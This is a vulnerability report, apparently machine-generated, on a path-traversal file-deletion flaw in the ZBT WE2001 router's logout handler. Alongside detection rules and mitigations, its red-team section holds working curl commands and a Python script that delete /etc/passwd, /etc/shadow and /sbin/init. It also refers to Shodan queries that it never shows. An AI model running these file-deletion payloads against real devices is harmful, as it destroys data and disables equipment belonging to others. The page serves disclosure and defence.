CVE-2025-64074
Executive Summary
CVE-2025-64074 is a critical path-traversal vulnerability discovered in the Shenzhen Zhibotong Electronics ZBT WE2001 router, specifically in firmware version 23.09.27. The flaw resides in the logout functionality, allowing a remote, unauthenticated attacker to delete arbitrary files on the device by supplying a crafted session cookie value. This can lead to denial of service, configuration corruption, or potentially privilege escalation if critical system files are removed. No official patch has been released as of this report, and the vendor has not acknowledged the issue. The vulnerability is publicly documented with proof-of-concept details available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While no official CVSS vector has been assigned, based on the nature of the vulnerability (remote, unauthenticated, arbitrary file deletion), a reasonable assessment would be:
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): High (H) – Arbitrary file deletion can corrupt system integrity.
- Availability (A): High (H) – Deletion of critical files can cause denial of service.
Estimated CVSS Score: 9.1 (Critical)
Threat Level: Critical – Exploitation is trivial and can lead to complete device compromise or bricking.
Deep Dive & Mechanics
The vulnerability exists in the logout functionality of the ZBT WE2001 router's web interface. The application does not properly sanitize or validate the session cookie value before using it in a file path operation. By manipulating the cookie value to include path traversal sequences (e.g., ../), an attacker can force the application to delete files outside the intended session directory.
Root Cause: The application likely constructs a file path by concatenating a base directory with the session cookie value without proper validation. For example:
file_path = "/tmp/sessions/" + cookie_value
If cookie_value is set to ../../etc/passwd, the resulting path becomes /tmp/sessions/../../etc/passwd, which resolves to /etc/passwd. The logout function then deletes this file.
Attack Flow:
- Attacker sends a GET or POST request to the logout endpoint.
- The request includes a crafted cookie (e.g.,
session=../../../etc/shadow). - The server processes the logout and attempts to delete the session file.
- Due to path traversal, the server deletes
/etc/shadowinstead. - The attacker can repeat this to delete any file the web server process has write access to.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Vulnerable logout handler
def logout(request):
session_id = request.cookies.get('session')
if session_id:
file_path = "/tmp/sessions/" + session_id
if os.path.exists(file_path):
os.remove(file_path)
# ... rest of logout logic
Patched Code (Conceptual):
# Patched logout handler
import os
import re
def logout(request):
session_id = request.cookies.get('session')
if session_id:
# Validate session ID format (e.g., alphanumeric only)
if not re.match(r'^[a-zA-Z0-9]+$', session_id):
return "Invalid session", 400
# Use os.path.basename to strip any path components
safe_session = os.path.basename(session_id)
file_path = "/tmp/sessions/" + safe_session
if os.path.exists(file_path):
os.remove(file_path)
# ... rest of logout logic
Key Differences:
- Input validation: The patched version checks that the session ID contains only alphanumeric characters.
- Path sanitization:
os.path.basename()is used to remove any directory components. - Error handling: Invalid session IDs result in a 400 error instead of proceeding with deletion.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target: ZBT WE2001 router with firmware 23.09.27
- Network access to the router's web interface (typically port 80 or 443)
- No authentication required
Exploit Steps:
- Identify the logout endpoint (e.g.,
/logoutor/cgi-bin/logout). - Craft a request with a malicious session cookie.
- Send the request using curl or a custom script.
Example Exploit (curl):
# Delete /etc/passwd
curl -X GET "http://<target_ip>/logout" \
-b "session=../../../etc/passwd"
# Delete /etc/shadow
curl -X GET "http://<target_ip>/logout" \
-b "session=../../../etc/shadow"
# Delete a critical system binary
curl -X GET "http://<target_ip>/logout" \
-b "session=../../../sbin/init"
Automated Exploit Script (Python):
import requests
def exploit(target_ip, file_to_delete):
url = f"http://{target_ip}/logout"
# Construct path traversal payload
payload = f"../../../{file_to_delete}"
cookies = {"session": payload}
try:
response = requests.get(url, cookies=cookies, timeout=10)
if response.status_code == 200:
print(f"[+] Successfully deleted {file_to_delete}")
else:
print(f"[-] Unexpected response: {response.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
# Example usage
exploit("192.168.1.1", "etc/passwd")
exploit("192.168.1.1", "etc/shadow")
Expected Outcome: The targeted file is deleted from the router's filesystem. Deleting critical files like /etc/passwd or /etc/shadow can render the device inoperable or allow privilege escalation.
Blue Team (Defense & Detection)
Detection Strategies:
- Monitor Logout Requests: Look for requests to logout endpoints with unusual cookie values containing
../or absolute paths. - File Integrity Monitoring: Use tools like AIDE or Tripwire to detect unexpected file deletions.
- Web Application Firewall (WAF): Deploy rules to block path traversal patterns in cookies.
Mitigation Steps:
- Immediate: If possible, disable remote management or restrict access to trusted IPs.
- Short-term: Implement input validation and sanitization for all cookie values.
- Long-term: Apply vendor patch when available, or consider replacing the device.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/logoutor similar endpoints with cookies containing../or..\\ - Repeated 404 errors after successful logout attempts (indicating deleted files)
- Unusual HTTP response sizes or error messages
File System IOCs:
- Missing critical system files (e.g.,
/etc/passwd,/etc/shadow,/sbin/init) - Unexpected empty directories in
/tmp/sessions/ - Modified timestamps on system files
Log IOCs:
- Web server logs showing requests with path traversal patterns in cookies
- System logs indicating failed file operations or missing files
Detection Engineering
YARA Rule
rule CVE_2025_64074_Path_Traversal_Logout {
meta:
description = "Detects path traversal attempts targeting ZBT WE2001 logout"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-64074"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f"
$traversal4 = "%2e%2e%5c"
$logout_path = "/logout"
condition:
any of ($traversal*) and $logout_path
}
Sigma Rule
title: CVE-2025-64074 Path Traversal in ZBT WE2001 Logout
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in session cookie during logout on ZBT WE2001
author: Valters IT
date: 2025-04-10
tags:
- attack.initial_access
- attack.t1190
- cve.2025.64074
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/logout'
cs-cookie|contains:
- '../'
- '..\\'
- '%2e%2e%2f'
- '%2e%2e%5c'
condition: selection
falsepositives:
- Legitimate use of session IDs containing dots (unlikely)
level: critical
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-64074 Path Traversal in ZBT WE2001 Logout";
flow:to_server,established;
content:"/logout"; http_uri;
content:"session"; http_cookie;
pcre:"/session=[^;]*\.\.\//i";
classtype:attempted-admin;
sid:10000001;
rev:1;
reference:cve,2025-64074;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the Device: If possible, disconnect the ZBT WE2001 from the internet or place it behind a firewall that restricts access to the web interface.
- Disable Remote Management: Turn off remote administration features if available.
- Monitor Logs: Actively monitor web server logs for path traversal attempts.
Short-term Mitigation:
- Custom WAF Rule: Implement a virtual patch using a web application firewall to block requests with path traversal patterns in cookies.
- Input Validation: If you have access to the firmware, modify the logout handler to validate session IDs (see patched code example).
- File System Hardening: Ensure critical system files are immutable or have restricted permissions.
Long-term Remediation:
- Vendor Patch: Await an official firmware update from Shenzhen Zhibotong Electronics. Contact the vendor to report the issue and request a patch.
- Device Replacement: If no patch is forthcoming, consider replacing the router with a more secure alternative from a vendor with a proven security track record.
- Network Segmentation: Place IoT devices like routers on a separate VLAN with strict access controls.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact your security team.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.